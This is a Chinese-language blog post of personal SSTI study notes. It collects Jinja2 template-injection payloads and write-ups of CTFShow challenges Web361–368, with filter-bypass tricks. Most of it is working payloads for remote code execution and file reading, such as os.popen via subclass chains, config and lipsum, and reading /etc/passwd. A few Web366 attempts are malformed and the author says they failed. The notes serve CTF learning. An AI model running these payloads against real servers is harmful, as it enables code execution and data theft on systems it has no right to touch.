SSTI
SSTI学习笔记
一、啥事SSTI
二、常用payload(?)
抄一下可能使用的:
读文件
RCE
python3:
1 | "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() |
1 | {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} |
python2:
1 | {{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}} |
both:
1 | {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} |
利用config进行RCE:{{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
读文件
python3:
1 |
python2:
1 | {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} |
用来跑子类的脚本:
1 | # 远程跑子类 |
三、常用bypass
四、CTFShow题解
Web361
还得一步一步来 先找所有子类
payload:?name={{().__class__.__mro__[-1].__subclasses__()}}
跑能用的方法
跑出来是132:
132—> <class ‘os._wrap_close’>
加上
1 | __init__.__globals__['popen']('whoami').read() |
即可RCE
最终payload:
1 | ?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
Web362
上一题的payload先试试:
返回一个:(应该是被过滤了
使用config进行RCE可以bypass,也看到利用全角数字绕过过滤的方法,附上脚本:
1 | def half2full(half): |
payload:
1 | ?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read()}} |
Web363
过滤引号,参考上面的博客中的bypass方法,使用request
payload:
1 | {{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag |
Web364
先看看上一题的payload能不能梭哈
过滤了request.args.***,可以直接用request.cookies.arg1
payload:
1 | ?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} |
Web365
还是先试试上一题的payload
过滤了中括号
可以用__getitem__
payload:
1 | ?name={{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.__builtins__.__getitem__(request.cookies.arg1)(request.cookies.arg2).read()}} |
Web366
还是先试试上一题的payload
进一步过滤了下划线
使用十六进制编码bypass
1 | ?name={{().["\x5f\x5fclass\x5f\x5f"].["\x5f\x5fbases\x5f\x5f"].["\x5f\x5fgetitem\x5f\x5f"](0).["\x5f\x5fsubclasses\x5f\x5f]"().["\x5f\x5fgetitem\x5f\x5f"](132).["\x5f\x5finit\x5f\x5f"].["\x5f\x5fglobals\x5f\x5f"].["\x5f\x5fbuiltins\x5f\x5f"].["\x5f\x5fgetitem\x5f\x5f"](request.cookies.arg1)(request.cookies.arg2).read()}} |
大意了,过滤了引号,上面那个payload用不了
但是还可以用request
payload:
1 | ?name={{().request.cookies.a.request.cookies.b.request.cookies.c(0).request.cookies.d().request.cookies.c(132).request.cookies.e.request.cookies.f.request.cookies.g.request.cookies.c(request.cookies.arg1)(request.cookies.arg2).read()}} |
还是不行 破防了
实在不会了 抄一下别的师傅的
payload:
1 | ?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} |
可以看看下面这篇博客,讲的比较清楚
https://blog.csdn.net/weixin_44576725/article/details/124176797
Web367
过滤了os,用get+cookie来bypass:
1 | ?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}} |
Web368
payload:
1 | ?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %} |
SSTI还有四道题目 但是不太做得动了,先这样吧 下次再来做SSTI也不知道是啥时候了,比赛遇到再说
- 标题: SSTI
- 作者: yansui
- 创建于: 2023-08-07 17:49:10
- 更新于: 2023-09-09 08:50:35
- 链接: http://yansui.xyz/2023/08/07/SSTI/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。